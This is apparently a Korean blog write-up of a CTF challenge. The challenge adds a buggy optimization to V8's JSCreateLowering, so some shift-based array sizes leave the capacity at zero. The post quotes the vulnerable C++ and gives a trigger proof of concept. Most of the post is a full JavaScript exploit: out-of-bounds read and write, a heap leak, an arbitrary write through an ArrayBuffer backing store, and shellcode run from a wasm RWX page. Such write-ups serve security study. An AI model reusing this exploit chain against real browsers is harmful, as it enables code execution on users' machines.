취약점 분석
JSCreateLowering에 최적화 phase를 하나 더 추가했다. jscreate의 size가 add, bit shift, sub로 계산될 경우, 해당 값을 최적화하는 로직이다.
Reduction JSCreateLowering::ReduceHandleCCE(
Node* bnode, Node* node, Node* length, MapRef initial_map, ElementsKind elements_kind,
AllocationType allocation,
const SlackTrackingPrediction& slack_tracking_prediction) {
int capacity = 0;
Node* newLength = length;
Node* const value = bnode->InputAt(0);
if (NodeProperties::IsTyped(value) &&
IsNumericNode(bnode->InputAt(1))) {
Type lhs_type = NodeProperties::GetType(value);
const int32_t m_min = static_cast<int32_t>(lhs_type.Min());
const int32_t m_max = static_cast<int32_t>(lhs_type.Max());
const double tmp = OpParameter<double>(bnode->InputAt(1)->op());
int32_t rightValue = 0;
DoubleToSmiInteger(tmp, &rightValue);
int32_t newMin = std::numeric_limits<int32_t>::min();
int32_t newMax = std::numeric_limits<int32_t>::max();
switch (bnode->opcode()) {
case IrOpcode::kSpeculativeNumberAdd:
break;
case IrOpcode::kSpeculativeNumberSubtract:
if ((m_min < rightValue) ||
(m_max < rightValue)) {
capacity = newMax;
newLength = jsgraph()->Constant(capacity);
} else {
capacity = m_max;
newLength = jsgraph()->Constant(capacity);
}
break;
case IrOpcode::kSpeculativeNumberShiftLeft:
newMin = m_min << static_cast<int32_t>(rightValue);
newMax = m_max << static_cast<int32_t>(rightValue);
if ((newMin >> rightValue) != static_cast<int32_t>(m_min)) {
newMin = std::numeric_limits<int32_t>::min();
}
if ((newMax >> rightValue) != static_cast<int32_t>(m_max)) {
newLength = jsgraph()->Constant(newMax);
if (NodeProperties::GetType(length).Max() == newMax) {
capacity = newMax;
}
newMax = std::numeric_limits<int32_t>::max();
}
if (newMin >= 0 && newMax <= 0x7fffffff) {
break;
} else {
capacity = std::numeric_limits<int32_t>::max();
newLength = jsgraph()->Constant(capacity);
}
break;
case IrOpcode::kSpeculativeNumberShiftRight:
newMin = m_min >> static_cast<int32_t>(rightValue);
newMax = m_max >> static_cast<int32_t>(rightValue);
if ((newMin << rightValue) != static_cast<int32_t>(m_min) ||
(newMax << rightValue) != static_cast<int32_t>(m_max)) {
capacity = std::numeric_limits<int32_t>::max();
newLength = jsgraph()->Constant(capacity);
}
break;
default:
capacity = newMax;
newLength = jsgraph()->Constant(capacity);
break;
}
}
return ReduceNewArray(node, newLength, capacity, initial_map, elements_kind,
allocation, slack_tracking_prediction);
}
capacity는 새로 생성될 js 오브젝트의 element size를 나타낸다. 해당 값은 함수 처음에 0으로 초기화된 후, 적절한 값으로 세팅되지 않을 수 있다. 예를 들어 IrOpcode가 kSpeculativeNumberAdd일 경우, case 문이 바로 종료되고 capacity가 0인채로 ReduceNewArray를 호출한다. 이 경우 생성되는 JSobject의 element size는 0이다.
취약점 트리거 조건이 굉장히 널널하지만, 몇가지 제약사항이 있다. 적절한 계산 로직을 찾기 위해서 간단한 손퍼징을 수행했다.
- 추가된 최적화 로직을 실행하깅 위해서 bit 연산자 필요.
- add, sub, >>는 debug check에 걸림. <<는 체크 로직이 없어서 해당 op사용.
1번의 경우 다른 poc에서 사용하는 경우가 많았고, 2번의 경우 경우의 수가 많이 없어서 간단히 찾을 수 있었다.
function foo(i){
i&=0xfffffff
var oob = Array(i<<5)
oob[1]=1.1
}
for(i=0;i<0x4000000;i++){
foo(12000);
}
각각의 page 사이에, rwx 권한이 없는 페이지가 섞여 있기 때문에 OOB Read로 값을 읽으려 하면 crash가 발생한다. 따라서 idx를 0부터 찾지 말고, 각 page의 offset을 대충 때려맞춰서 넣어줘야 한다.
Exploit
- 취약점을 통해서 OOB array를 만든다.
- gdb를 통해서 적절한 offset base를 구하고, 하드코딩해준다.
- Uint32Array의 멤버 변수를 통해서 v8 heap base를 leak한다.
- ArrayBuffer의 backing store를 덮어서 AAW를 얻는다.
- 쉘코드를 작성하고 wasm 호출
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(BigInt(val) & 0xffffffffn);
u64_buf[1] = Number(BigInt(val) >> 32n);
return f64_buf[0];
}
function hex(val){
return "0x"+val.toString(16)
}
function assert(a){
if(a){
return;
}
throw "error"
}
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var sh = wasm_instance.exports.main;
function foo(i,fl){
i&=0xfffffff;
var oob = Array(i<<1);
if(fl){
var victim=[itof(0xaa11aabbccccbbbb) , itof(0xaa11aabbccccbbbb),itof(0xaa11aabbccccbbbb),itof(0xaa11aabbccccbbbb),itof(0xaa11aabbccccbbbb)];
}else{
var victim=[1.1,2.2]
}
return [oob,victim]
}
rets=[]
for(i=0;i<0x40000;i++){
foo(0x10,false)[1];
}
ret = foo(0x300000,true)
NOT_GC = new Uint32Array(0x8);
AARW = new ArrayBuffer(0xceed);
addr=[0x1234,0x2468,wasm_instance];
young_oob = ret[0]
ib=false
for(i=0x5d96b-0x24000;i<young_oob.length;i++){//get offset by gdb. better method?
leak = young_oob[i];
if(leak==undefined){
throw "can not find";
}
leak = ftoi(leak);
if(("0xceed00000000"==hex(leak))){
console.log("Let's check "+hex(i))
for(k=-30;k<30;k++){
tmp = ftoi(young_oob[i+k]);
console.log("young_oob["+hex(i+k)+"] = "+hex(tmp))
low = tmp&0xffffffffn
high = tmp>>32n
if(low==7){
hb = high<<32n;
}
if(low==0x048d0){
p_rwx = high;
}
}
aaw_low= i+1; // 0xlow00000000
aaw_high=i+2; // 0xsome_value + high
ib=true;
break;
}
}
p_rwx = p_rwx+hb+0x5fn
console.log("v8 heap base = "+hex(hb))
console.log("rwx pointer= "+hex(p_rwx))
console.log("aaw_low= "+hex(aaw_low))
console.log("aaw_high= " + hex(aaw_high))
for (let i = 0; i < 0x100; i++)
new ArrayBuffer(0x1000000);
young_oob[aaw_low] = itof((p_rwx&0xffffffffn)<<32n)
young_oob[aaw_high] = itof(p_rwx>>32n)
var view = new DataView(AARW);
rwx0= view.getUint32(0,true);
rwx1= view.getUint32(4,true)
console.log("rwx0 = "+hex(rwx0))
console.log("rwx1 = "+hex(rwx1))
rwx = rwx0 + (rwx1*0x100000000)
console.log("rwx = "+hex(rwx))
young_oob[aaw_low] = itof(rwx0*0x100000000)// rwx0<32 is crash when ex.js start ?? Why GC??
young_oob[aaw_high] = itof(rwx1)
var view = new DataView(AARW);
shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
for(i=0;i<shellcode.length;i++){
view.setUint32(i*4,shellcode[i],true);
}
sh()
'브라우저' 카테고리의 다른 글
ASIS CTF Quals 2021 - V8 for dummies (0) | 2021.10.31 |
---|---|
CVE-2020-6383 (0) | 2020.11.10 |
DownUnderCTF 2020 / is-this-pwn-or-web (0) | 2020.09.21 |
Chrome v8 / CVE-2019-5791 (0) | 2020.08.17 |
pwn2win 2020 / omnitmizer (0) | 2020.06.03 |